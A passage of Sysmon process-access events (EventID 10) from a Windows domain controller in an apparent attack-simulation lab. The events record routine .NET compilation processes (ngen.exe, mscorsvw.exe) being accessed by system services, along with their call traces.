12:01:58.057","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-0010199D0C00}","TargetProcessId":"2804","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7246,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.105\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-0010D8A00C00}\r\nTargetProcessId: 4716\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.105","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-0010D8A00C00}","TargetProcessId":"4716","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7247,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.105\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-0010D8A00C00}\r\nTargetProcessId: 4716\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.105","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-0010D8A00C00}","TargetProcessId":"4716","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7248,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-0010D8A00C00}\r\nTargetProcessId: 4716\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-0010D8A00C00}","TargetProcessId":"4716","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7249,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.197\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429C-5F2D-0000-0010DA0D0B00}\r\nTargetProcessId: 5040\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.197","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429C-5F2D-0000-0010DA0D0B00}","TargetProcessId":"5040","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7250,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.197\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429C-5F2D-0000-0010DA0D0B00}\r\nTargetProcessId: 5040\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.197","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429C-5F2D-0000-0010DA0D0B00}","TargetProcessId":"5040","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7251,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.197\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429C-5F2D-0000-0010DA0D0B00}\r\nTargetProcessId: 5040\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.197","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429C-5F2D-0000-0010DA0D0B00}","TargetProcessId":"5040","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7252,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.244\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-001007600B00}\r\nTargetProcessId: 4624\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.244","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-001007600B00}","TargetProcessId":"4624","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.